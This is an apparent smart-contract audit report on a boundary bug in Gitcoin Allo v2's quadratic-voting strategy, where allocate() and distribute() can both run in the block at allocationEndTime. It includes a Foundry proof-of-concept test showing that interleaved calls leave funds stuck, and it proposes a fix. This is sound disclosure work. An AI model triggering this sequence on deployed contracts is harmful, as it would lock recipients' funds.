Boxy Clay Ladybug

high

# QV strategy allocate() and distribute() can be called in the same block
In the QV strategy contracts the functions `allocate()` and `distribute()` can be called in the same block contrary to the developers intentions. In the current implementation this leads to a potential DoS scenario but more importantly this could break future integrations of the strategy by other contracts or off-chain components that rely on the correctness of the `onlyActiveAllocation` & `onlyAfterAllocation` modifiers.
## Vulnerability Detail
Below are the underlying implementations of the mentioned modifiers - the first one is used with the `allocate()` function and the second one is used with `distribute()` i.e we want to distribute funds only after allocations have ended. The issue is that if `block.timestamp` = `allocationEndTime` the `_checkOnlyAfterAllocation()` won't revert since `block.timestamp` isn't `<` `allocationEndTime` (they are equal), therefore at the `allocationEndTime` block both `allocate()` and `distribute()` can be executed which already breaks the developers intentions.
```solidity
function _checkOnlyActiveAllocation() internal view virtual {
        if (allocationStartTime > block.timestamp || block.timestamp > allocationEndTime) {
            revert ALLOCATION_NOT_ACTIVE();
        }
    }
```

```solidity
function _checkOnlyAfterAllocation() internal view virtual {
        if (block.timestamp < allocationEndTime) revert ALLOCATION_NOT_ENDED();
    }
```
A specific scenario where this could have serious impact is if we have multiple `distribute()` invocations - this is possible since `distribute()` accepts an array of recipients and could be called many times as long as the passed array contains recipients that haven't been paid out ( this could also be done by some off-chain or contract implementation that communicates with the strategy ). The severe impact is achieved when an allocator executes `allocate()` in between the `distribute()` invocations ( again we could have allocator logic (in good faith) that relies on the modifiers to revert on a `allocate()` invocation and doesn't know about the ongoing `distribute()` calls ). In such a scenario where we have `distribute` - `allocate` - `distribute` the increase in `totalRecipientVotes` will make the subsequent `distribute()` calls disproportionate since `distribute` has already paid some recipients at a lower `totalRecipientVotes` (also note that `distribute()` doesn't decrement from `poolAmount` ), therefore some subsequent calls to `distribute()` after the wrongful  `allocate()` will inevitably revert and the recipients won't be able to receive their funds, moreover, the QV strategy doesn't implement a  `withdraw` mechanism and the funds will remain forever bricked in the contract. 

### Coded POC
1. In the test contract `QVSimpleStrategy.t.sol` place these import statements:
`import {Metadata} from "../../../contracts/core/libraries/Metadata.sol";`
`import {IStrategy} from "../../../contracts/core/interfaces/IStrategy.sol";`
2. Place in the contract the below shown `testAllocateDistributeSameBlock()` and  `_helperRegister2Recipients()` functions
3. Execute with `forge test --match-test testAllocateDistributeSameBlock -vv`
4. The expected result is a revert due to `distribute()` failing to distribute to an eligible recipient
```solidity
function testAllocateDistributeSameBlock() public {
        
        // two recipients
        address recipientAId;
        address recipientBId;

        // register the two recipients
        (recipientAId, recipientBId) = _helperRegister2Recipients();

        // Fund the Pool
        vm.warp(registrationEndTime + 10);

        token.mint(pool_manager1(), 100e18);

        vm.prank(pool_manager1());
        token.approve(address(allo()), 999999999e18);

        vm.prank(pool_manager1());
        allo().fundPool(poolId, 100e18);

        // Allocation Period Starts
        vm.warp(allocationStartTime + 10);

        address allocator = randomAddress();
        vm.startPrank(pool_manager1());
        qvSimpleStrategy().addAllocator(allocator);

        // each recipient will receive 10 credits
        bytes memory allocateData1 = __generateAllocation(recipientAId, 10);
        bytes memory allocateData2 = __generateAllocation(recipientBId, 10);

        vm.startPrank(address(allo()));

        // allocate to recipients
        qvSimpleStrategy().allocate(allocateData1, randomAddress());
        qvSimpleStrategy().allocate(allocateData2, randomAddress());

        vm.stopPrank();

        // Last block of allocation period but distribute() can already be called
        vm.warp(allocationEndTime);

        vm.startPrank(address(allo()));
        address[] memory recipients1 = new address[](1);
        address[] memory recipients2 = new address[](1);

        recipients1[0] = recipientAId;
        recipients2[0] = recipientBId;

        // distribute to recipient 1
        qvStrategy().distribute(recipients1, "", pool_admin());

        // allocate 10 more votes to recipient2 
        qvSimpleStrategy().allocate(allocateData2, randomAddress());
        
        // accounting is now wrong and distribute reverts - bricking the funds
        qvStrategy().distribute(recipients2, "", pool_admin());

        console.log("Token balance rec1", token.balanceOf(recipientAId));
        console.log("Token balance rec2", token.balanceOf(recipientBId));

    }

    function _helperRegister2Recipients() internal returns(address, address) {
         
        address recipientA = address(77);
        address recipientB = address(88);

        Metadata memory metadata = Metadata({protocol: 1, pointer: "metadata"});
        
        bool _isUsingRegistryAnchor = false;

        bytes memory data1 = abi.encode(recipientA, _isUsingRegistryAnchor, metadata);
        bytes memory data2 = abi.encode(recipientB, _isUsingRegistryAnchor, metadata);

        
        // Register recipients
        vm.warp(registrationStartTime + 10);

        vm.startPrank(address(allo()));

        address recipientAId = qvStrategy().registerRecipient(data1, recipientA);
        address recipientBId = qvStrategy().registerRecipient(data2, recipientB);

        // Accept recipients
        address[] memory recipientIds = new address[](2);
        recipientIds[0] = recipientAId;
        recipientIds[1] = recipientBId;

        IStrategy.Status[] memory Statuses = new IStrategy.Status[](2);
        Statuses[0] = IStrategy.Status.Accepted;
        Statuses[1] = IStrategy.Status.Accepted;

        vm.startPrank(pool_admin());
        qvStrategy().reviewRecipients(recipientIds, Statuses);
        vm.stopPrank();

        vm.startPrank(pool_manager1());
        qvStrategy().reviewRecipients(recipientIds, Statuses);
        vm.stopPrank();

        return (recipientAId, recipientBId);
    }
```
## Impact
Developer's timing assumptions are wrong, funds cannot be distributed accordingly and remain bricked, potential contracts / off-chain components relying on the correctness of the QV strategy can suffer unexpected behavior. 
## Code Snippet
https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L310-L328
https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534
## Tool used

Manual Review
Foundry

## Recommendation
Rework the after allocation modifier to such
```solidity
function _checkOnlyAfterAllocation() internal view virtual {
        if (block.timestamp <= allocationEndTime) revert ALLOCATION_NOT_ENDED();
    }
```